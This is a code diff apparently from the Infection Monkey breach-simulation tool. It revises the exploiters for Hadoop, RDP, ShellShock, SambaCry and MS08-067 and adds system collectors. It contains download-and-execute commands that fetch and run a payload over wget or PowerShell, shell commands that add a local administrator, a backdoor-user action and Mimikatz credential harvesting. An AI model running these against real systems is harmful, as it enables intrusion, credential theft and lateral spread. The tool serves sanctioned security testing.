self.add_vulnerable_urls(urls, True) self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls: if not self.vulnerable_urls:
return False return False
# We presume hadoop works only on 64-bit machines
if self.host.os['type'] == 'windows':
self.host.os['machine'] = '64'
paths = self.get_monkey_paths() paths = self.get_monkey_paths()
if not paths: if not paths:
return False return False
@ -79,9 +72,9 @@ class HadoopExploiter(WebRCE):
# Build command to execute # Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if 'linux' in self.host.os['type']: if 'linux' in self.host.os['type']:
base_command = self.LINUX_COMMAND base_command = HADOOP_LINUX_COMMAND
else: else:
base_command = self.WINDOWS_COMMAND base_command = HADOOP_WINDOWS_COMMAND
return base_command % {"monkey_path": path, "http_path": http_path, return base_command % {"monkey_path": path, "http_path": http_path,
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd} "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}

View File

@ -15,6 +15,7 @@ from infection_monkey.exploit.tools import get_target_monkey
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii
__author__ = 'hoffer' __author__ = 'hoffer'
@ -298,6 +299,10 @@ class RdpExploiter(HostExploiter):
LOG.info("RDP connected to %r", self.host) LOG.info("RDP connected to %r", self.host)
user = utf_to_ascii(user)
password = utf_to_ascii(password)
command = utf_to_ascii(command)
client_factory = CMDClientFactory(user, password, "", command) client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)

View File

@ -311,7 +311,7 @@ class SambaCryExploiter(HostExploiter):
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, location): def get_monkey_commandline_file(self, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location)) return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location)))
@staticmethod @staticmethod
def is_share_writable(smb_client, share): def is_share_writable(smb_client, share):

View File

@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
# run the monkey # run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
run_path = exploit + cmdline run_path = exploit + cmdline
self.attack_page(url, header, run_path) self.attack_page(url, header, run_path)
@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter):
if is_https: if is_https:
attack_path = 'https://' attack_path = 'https://'
attack_path = attack_path + str(host) + ":" + str(port) attack_path = attack_path + str(host) + ":" + str(port)
reqs = []
timeout = False
attack_urls = [attack_path + url for url in url_list] attack_urls = [attack_path + url for url in url_list]
reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls] for u in attack_urls:
try:
reqs.append(requests.head(u, verify=False, timeout=TIMEOUT))
except requests.Timeout:
timeout = True
break
if timeout:
LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.")
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
urls = [resp.url for resp in valid_resps] urls = [resp.url for resp in valid_resps]

View File

@ -126,7 +126,9 @@ class WebRCE(HostExploiter):
candidate_services = {} candidate_services = {}
candidate_services.update({ candidate_services.update({
service: self.host.services[service] for service in self.host.services if service: self.host.services[service] for service in self.host.services if
(self.host.services[service] and self.host.services[service]['name'] in names) (self.host.services[service] and
'name' in self.host.services[service] and
self.host.services[service]['name'] in names)
}) })
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if

View File

@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user %s %s /add) &&" sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" % " (net localgroup administrators %s /add)\r\n" %
(self._config.ms08_067_remote_user_add, (self._config.user_to_add,
self._config.ms08_067_remote_user_pass, self._config.remote_user_pass,
self._config.ms08_067_remote_user_add)) self._config.user_to_add))
time.sleep(2) time.sleep(2)
reply = sock.recv(1000) reply = sock.recv(1000)
@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter):
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_32,
self._config.ms08_067_remote_user_add, self._config.user_to_add,
self._config.ms08_067_remote_user_pass) self._config.remote_user_pass)
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter):
try: try:
sock.send("start %s\r\n" % (cmdline,)) sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
except Exception as exc: except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False return False

View File

@ -28,4 +28,14 @@ CHECK_COMMAND = "echo %s" % ID_STRING
GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu" GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 300 DOWNLOAD_TIMEOUT = 300

View File

@ -1,32 +0,0 @@
# -*- mode: python -*-
block_cipher = None
a = Analysis(['main.py'],
pathex=['..'],
binaries=None,
datas=None,
hiddenimports=['_cffi_backend'],
hookspath=None,
runtime_hooks=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher)
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name='monkey',
debug=False,
strip=True,
upx=True,
console=True )

View File

@ -109,6 +109,10 @@ class InfectionMonkey(object):
system_info = system_info_collector.get_info() system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info) ControlClient.send_telemetry("system_info_collection", system_info)
for action_class in WormConfiguration.post_breach_actions:
action = action_class()
action.act()
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down") LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
@ -120,9 +124,6 @@ class InfectionMonkey(object):
ControlClient.keepalive() ControlClient.keepalive()
ControlClient.load_control_config() ControlClient.load_control_config()
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
self._network.initialize() self._network.initialize()
self._exploiters = WormConfiguration.exploiter_classes self._exploiters = WormConfiguration.exploiter_classes

View File

@ -2,39 +2,120 @@
import os import os
import platform import platform
__author__ = 'itay.mizeretz'
block_cipher = None
# Name of zip file in monkey. That's the name of the file in the _MEI folder # Name of zip file in monkey. That's the name of the file in the _MEI folder
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
def get_mimikatz_zip_path(): def main():
if platform.architecture()[0] == "32bit": a = Analysis(['main.py'],
return '.\\bin\\mk32.zip'
else:
return '.\\bin\\mk64.zip'
a = Analysis(['main.py'],
pathex=['..'], pathex=['..'],
hiddenimports=['_cffi_backend', 'queue'], hiddenimports=get_hidden_imports(),
hookspath=None, hookspath=None,
runtime_hooks=None) runtime_hooks=None,
binaries=None,
datas=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher
)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] a.binaries += get_binaries()
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] a.datas = process_datas(a.datas)
if platform.system().find("Windows") >= 0: pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
a.datas = [i for i in a.datas if i[0].find('Include') < 0] exe = EXE(pyz,
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
pyz = PYZ(a.pure)
exe = EXE(pyz,
a.scripts, a.scripts,
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')], a.binaries,
a.zipfiles, a.zipfiles,
a.datas, a.datas,
name='monkey.exe', name=get_monkey_filename(),
debug=False, debug=False,
strip=None, strip=get_exe_strip(),
upx=True, upx=True,
console=True, console=True,
icon='monkey.ico') icon=get_exe_icon())
def is_windows():
return platform.system().find("Windows") >= 0
def is_32_bit():
return platform.architecture()[0] == "32bit"
def get_bin_folder():
return os.path.join('.', 'bin')
def get_bin_file_path(filename):
return os.path.join(get_bin_folder(), filename)
def process_datas(orig_datas):
datas = orig_datas
if is_windows():
datas = [i for i in datas if i[0].find('Include') < 0]
datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
return datas
def get_binaries():
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
binaries += get_sc_binaries()
binaries += get_traceroute_binaries()
return binaries
def get_windows_only_binaries():
binaries = []
binaries += get_msvcr()
return binaries
def get_linux_only_binaries():
binaries = []
return binaries
def get_hidden_imports():
return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend']
def get_sc_binaries():
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
def get_msvcr():
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
def get_traceroute_binaries():
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
def get_monkey_filename():
return 'monkey.exe' if is_windows() else 'monkey'
def get_exe_strip():
return not is_windows()
def get_exe_icon():
return 'monkey.ico' if is_windows() else None
def get_mimikatz_zip_path():
mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip'
return os.path.join(get_bin_folder(), mk_filename)
main() # We don't check if __main__ because this isn't the main script.

View File

@ -101,9 +101,7 @@ int samba_init_module(void)
} }
// Build commandline // Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile); fclose(pFile);

View File

@ -106,8 +106,8 @@ class NetworkScanner(object):
break break
if SCAN_DELAY: if WormConfiguration.tcp_scan_interval:
time.sleep(SCAN_DELAY) time.sleep(WormConfiguration.tcp_scan_interval)
@staticmethod @staticmethod
def _is_any_ip_in_subnet(ip_addresses, subnet_str): def _is_any_ip_in_subnet(ip_addresses, subnet_str):

View File

@ -5,12 +5,17 @@ import select
import socket import socket
import struct import struct
import time import time
import re
from six import text_type from six.moves import range
import ipaddress
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils import is_64bit_python
DEFAULT_TIMEOUT = 10 DEFAULT_TIMEOUT = 10
BANNER_READ = 1024 BANNER_READ = 1024
IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
SLEEP_BETWEEN_POLL = 0.5 SLEEP_BETWEEN_POLL = 0.5
@ -174,15 +179,71 @@ def tcp_port_to_service(port):
return 'tcp-' + str(port) return 'tcp-' + str(port)
def traceroute(target_ip, ttl): def traceroute(target_ip, ttl=64):
""" """
Traceroute for a specific IP. Traceroute for a specific IP/name.
:param target_ip: Destination Note, may throw exception on failure that should be handled by caller.
:param target_ip: IP/name of target
:param ttl: Max TTL :param ttl: Max TTL
:return: Sequence of IPs in the way :return: Sequence of IPs in the way
""" """
if sys.platform == "win32": if sys.platform == "win32":
try: return _traceroute_windows(target_ip, ttl)
else: # linux based hopefully
return _traceroute_linux(target_ip, ttl)
def _get_traceroute_bin_path():
"""
Gets the path to the prebuilt traceroute executable
This is the traceroute utility from: http://traceroute.sourceforge.net
Its been built using the buildroot utility with the following settings:
* Statically link to musl and all other required libs
* Optimize for size
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected
:return: Path to traceroute executable
"""
return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32")
def _parse_traceroute(output, regex, ttl):
"""
Parses the output of traceroute (from either Linux or Windows)
:param output: The output of the traceroute
:param regex: Regex for finding an IP address
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
:return: List of ips which are the hops on the way to the traceroute destination.
If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None
"""
ip_lines = output.split('\n')
trace_list = []
first_line_index = None
for i in range(len(ip_lines)):
if re.search(r'^\s*1', ip_lines[i]) is not None:
first_line_index = i
break
for i in range(first_line_index, first_line_index + ttl):
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
break
re_res = re.search(regex, ip_lines[i])
if re_res is None:
ip_addr = None
else:
ip_addr = re_res.group()
trace_list.append(ip_addr)
return trace_list
def _traceroute_windows(target_ip, ttl):
"""
Traceroute for a specific IP/name - Windows implementation
"""
# we'll just use tracert because that's always there # we'll just use tracert because that's always there
cli = ["tracert", cli = ["tracert",
"-d", "-d",
@ -191,41 +252,22 @@ def traceroute(target_ip, ttl):
target_ip] target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate() stdout, stderr = proc_obj.communicate()
ip_lines = stdout.split('\r\n')[3:-3] stdout = stdout.replace('\r', '')
trace_list = [] return _parse_traceroute(stdout, IP_ADDR_RE, ttl)
for line in ip_lines:
tokens = line.split()
last_token = tokens[-1] def _traceroute_linux(target_ip, ttl):
try: """
ip_addr = ipaddress.ip_address(text_type(last_token)) Traceroute for a specific IP/name - Linux implementation
except ValueError: """
ip_addr = ""
trace_list.append(ip_addr) cli = [_get_traceroute_bin_path(),
return trace_list "-m", str(ttl),
except:
return []
else: # linux based hopefully
# implementation note: We're currently going to just use ping.
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
# while this is just ugly
# we can't use traceroute because it's not always installed
current_ttl = 1
trace_list = []
while current_ttl <= ttl:
try:
cli = ["ping",
"-c", "1",
"-w", "1",
"-t", str(current_ttl),
target_ip] target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate() stdout, stderr = proc_obj.communicate()
ip_line = stdout.split('\n')
ip_line = ip_line[1] lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl)
ip = ip_line.split()[1] lines = [x[1:-1] if x else None # Removes parenthesis
trace_list.append(ipaddress.ip_address(text_type(ip))) for x in lines]
except (IndexError, ValueError): return lines
# assume we failed parsing output
trace_list.append("")
current_ttl += 1
return trace_list

View File

@ -0,0 +1,4 @@
__author__ = 'danielg'
from add_user import BackdoorUser

View File

@ -0,0 +1,49 @@
import datetime
import logging
import subprocess
import sys
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'danielg'
class BackdoorUser(object):
"""
This module adds a disabled user to the system.
This tests part of the ATT&CK matrix
"""
def act(self):
LOG.info("Adding a user")
if sys.platform.startswith("win"):
retval = self.add_user_windows()
else:
retval = self.add_user_linux()
if retval != 0:
LOG.warn("Failed to add a user")
else:
LOG.info("Done adding user")
@staticmethod
def add_user_linux():
cmd_line = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
retval = subprocess.call(cmd_line)
return retval
@staticmethod
def add_user_windows():
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
retval = subprocess.call(cmd_line)
return retval

View File

@ -1,4 +1,5 @@
How to build a monkey binary from scratch. To get development versions of Monkey Island and Monkey look into deployment scripts folder.
If you only want to monkey from scratch you may refer to the instructions below.
The monkey is composed of three separate parts. The monkey is composed of three separate parts.
* The Infection Monkey itself - PyInstaller compressed python archives * The Infection Monkey itself - PyInstaller compressed python archives

View File

@ -14,5 +14,7 @@ six
ecdsa ecdsa
netifaces netifaces
ipaddress ipaddress
wmi
pywin32
pymssql pymssql
pyftpdlib pyftpdlib

View File

@ -6,7 +6,9 @@ import psutil
from enum import IntEnum from enum import IntEnum
from infection_monkey.network.info import get_host_subnets from infection_monkey.network.info import get_host_subnets
from infection_monkey.system_info.aws_collector import AwsCollector
from infection_monkey.system_info.azure_cred_collector import AzureCollector from infection_monkey.system_info.azure_cred_collector import AzureCollector
from infection_monkey.system_info.netstat_collector import NetstatCollector
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -57,6 +59,13 @@ class InfoCollector(object):
def __init__(self): def __init__(self):
self.info = {} self.info = {}
def get_info(self):
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
self.get_aws_info()
def get_hostname(self): def get_hostname(self):
""" """
Adds the fully qualified computer hostname to the system information. Adds the fully qualified computer hostname to the system information.
@ -99,12 +108,16 @@ class InfoCollector(object):
def get_network_info(self): def get_network_info(self):
""" """
Adds network information from the host to the system information. Adds network information from the host to the system information.
Currently updates with a list of networks accessible from host, Currently updates with netstat and a list of networks accessible from host
containing host ip and the subnet range. containing host ip and the subnet range
:return: None. Updates class information :return: None. Updates class information
""" """
LOG.debug("Reading subnets") LOG.debug("Reading subnets")
self.info['network_info'] = {'networks': get_host_subnets()} self.info['network_info'] =\
{
'networks': get_host_subnets(),
'netstat': NetstatCollector.get_netstat_info()
}
def get_azure_info(self): def get_azure_info(self):
""" """
@ -131,3 +144,6 @@ class InfoCollector(object):
if len(azure_creds) != 0: if len(azure_creds) != 0:
self.info["Azure"] = {} self.info["Azure"] = {}
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
def get_aws_info(self):
self.info['aws'] = AwsCollector().get_aws_info()

View File

@ -0,0 +1,29 @@
import logging
from common.cloud.aws import AWS
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class AwsCollector(object):
"""
Extract info from AWS machines
"""
@staticmethod
def get_aws_info():
LOG.info("Collecting AWS info")
aws = AWS()
info = {}
if aws.is_aws_instance():
LOG.info("Machine is an AWS instance")
info = \
{
'instance_id': aws.get_instance_id()
}
else:
LOG.info("Machine is NOT an AWS instance")
return info

View File

@ -23,10 +23,7 @@ class LinuxInfoCollector(InfoCollector):
:return: Dict of system information :return: Dict of system information
""" """
LOG.debug("Running Linux collector") LOG.debug("Running Linux collector")
self.get_hostname() super(LinuxInfoCollector, self).get_info()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
self.info['ssh_info'] = SSHCollector.get_info() self.info['ssh_info'] = SSHCollector.get_info()
return self.info return self.info

View File

@ -44,8 +44,10 @@ class MimikatzCollector(object):
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME)) self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
self._collect = collect_proto(("collect", self._dll)) self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll)) self._get = get_proto(("get", self._dll))
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True self._isInit = True
except Exception: except Exception:
LOG.exception("Error initializing mimikatz collector") LOG.exception("Error initializing mimikatz collector")
@ -55,6 +57,7 @@ class MimikatzCollector(object):
Gets the logon info from mimikatz. Gets the logon info from mimikatz.
Returns a dictionary of users with their known credentials. Returns a dictionary of users with their known credentials.
""" """
LOG.info('Getting mimikatz logon information')
if not self._isInit: if not self._isInit:
return {} return {}
LOG.debug("Running mimikatz collector") LOG.debug("Running mimikatz collector")
@ -65,6 +68,8 @@ class MimikatzCollector(object):
logon_data_dictionary = {} logon_data_dictionary = {}
hostname = socket.gethostname() hostname = socket.gethostname()
self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count): for i in range(entry_count):
entry = self._get() entry = self._get()
username = entry.username.encode('utf-8').strip() username = entry.username.encode('utf-8').strip()
@ -98,6 +103,9 @@ class MimikatzCollector(object):
LOG.exception("Error getting logon info") LOG.exception("Error getting logon info")
return {} return {}
def get_mimikatz_text(self):
return self.mimikatz_text
class LogonData(ctypes.Structure): class LogonData(ctypes.Structure):
""" """
Logon data structure returned from mimikatz. Logon data structure returned from mimikatz.

View File

@ -0,0 +1,44 @@
# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
import logging
import psutil
import socket
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class NetstatCollector(object):
"""
Extract netstat info
"""
AF_INET6 = getattr(socket, 'AF_INET6', object())
proto_map = {
(AF_INET, SOCK_STREAM): 'tcp',
(AF_INET6, SOCK_STREAM): 'tcp6',
(AF_INET, SOCK_DGRAM): 'udp',
(AF_INET6, SOCK_DGRAM): 'udp6',
}
@staticmethod
def get_netstat_info():
LOG.info("Collecting netstat info")
return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')]
@staticmethod
def _parse_connection(c):
return \
{
'proto': NetstatCollector.proto_map[(c.family, c.type)],
'local_address': c.laddr[0],
'local_port': c.laddr[1],
'remote_address': c.raddr[0] if c.raddr else None,
'remote_port': c.raddr[1] if c.raddr else None,
'status': c.status,
'pid': c.pid
}

View File

@ -1,10 +1,17 @@
import os
import logging import logging
import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config import infection_monkey.config
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
from infection_monkey.system_info import InfoCollector from infection_monkey.system_info import InfoCollector
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
from common.utils.wmi_utils import WMIUtils
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
LOG.info('started windows info collector')
__author__ = 'uri' __author__ = 'uri'
@ -17,6 +24,8 @@ class WindowsInfoCollector(InfoCollector):
def __init__(self): def __init__(self):
super(WindowsInfoCollector, self).__init__() super(WindowsInfoCollector, self).__init__()
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self.info['reg'] = {}
self.info['wmi'] = {}
def get_info(self): def get_info(self):
""" """
@ -26,17 +35,33 @@ class WindowsInfoCollector(InfoCollector):
:return: Dict of system information :return: Dict of system information
""" """
LOG.debug("Running Windows collector") LOG.debug("Running Windows collector")
self.get_hostname() super(WindowsInfoCollector, self).get_info()
self.get_process_list() #self.get_wmi_info()
self.get_network_info() self.get_installed_packages()
self.get_azure_info() from infection_monkey.config import WormConfiguration
self._get_mimikatz_info() if WormConfiguration.should_use_mimikatz:
self.get_mimikatz_info()
return self.info return self.info
def _get_mimikatz_info(self): def get_installed_packages(self):
if self._config.should_use_mimikatz: LOG.info('getting installed packages')
LOG.info("Using mimikatz") self.info["installed_packages"] = os.popen("dism /online /get-packages").read()
self.info["credentials"].update(MimikatzCollector().get_logon_info()) self.info["installed_features"] = os.popen("dism /online /get-features").read()
LOG.debug('Got installed packages')
def get_wmi_info(self):
LOG.info('getting wmi info')
for wmi_class_name in WMI_CLASSES:
self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name)
LOG.debug('finished get_wmi_info')
def get_mimikatz_info(self):
mimikatz_collector = MimikatzCollector()
mimikatz_info = mimikatz_collector.get_logon_info()
if mimikatz_info:
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
else: else:
LOG.info("Not using mimikatz") LOG.info('No mimikatz info was gathered')

View File

@ -0,0 +1,32 @@
WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount",
"Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service",
"Win32_OptionalFeature"}
# These wmi queries are able to return data about all the users & machines in the domain.
# For these queries to work, the monkey should be run on a domain machine and
#
# monkey should run as *** SYSTEM *** !!!
#
WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "ADSIPath", "DS_userAccountControl",
"DS_objectSid", "DS_objectClass", "DS_memberOf",
"DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime",
"DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp",
"DS_lastLogoff", "DS_logonCount", "DS_accountExpires"),
"ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName",
"DS_sAMAccountType", "DS_objectSid", "DS_objectClass",
"DS_name", "DS_memberOf", "DS_member", "DS_instanceType",
"DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"),
"ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires",
"DS_adminDisplayName", "DS_badPasswordTime",
"DS_badPwdCount", "DS_cn", "DS_distinguishedName",
"DS_instanceType", "DS_lastLogoff", "DS_lastLogon",
"DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass",
"DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion",
"DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}

View File

@ -30,3 +30,8 @@ def is_64bit_python():
def is_windows_os(): def is_windows_os():
return sys.platform.startswith("win") return sys.platform.startswith("win")
def utf_to_ascii(string):
# Converts utf string to ascii. Safe to use even if string is already ascii.
udata = string.decode("utf-8")
return udata.encode("ascii", "ignore")

View File

@ -84,7 +84,7 @@ def init_app(mongo_url):
app.config['MONGO_URI'] = mongo_url app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = uuid.getnode() app.config['SECRET_KEY'] = str(uuid.getnode())
app.config['JWT_AUTH_URL_RULE'] = '/api/auth' app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time() app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()

View File

@ -1,5 +1,6 @@
import abc import abc
from datetime import timedelta from datetime import timedelta
import os
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -8,7 +9,7 @@ class Environment(object):
__metaclass__ = abc.ABCMeta __metaclass__ = abc.ABCMeta
_ISLAND_PORT = 5000 _ISLAND_PORT = 5000
_MONGO_URL = "mongodb://localhost:27017/monkeyisland" _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
_DEBUG_SERVER = False _DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(hours=1) _AUTH_EXPIRATION_TIME = timedelta(hours=1)

View File

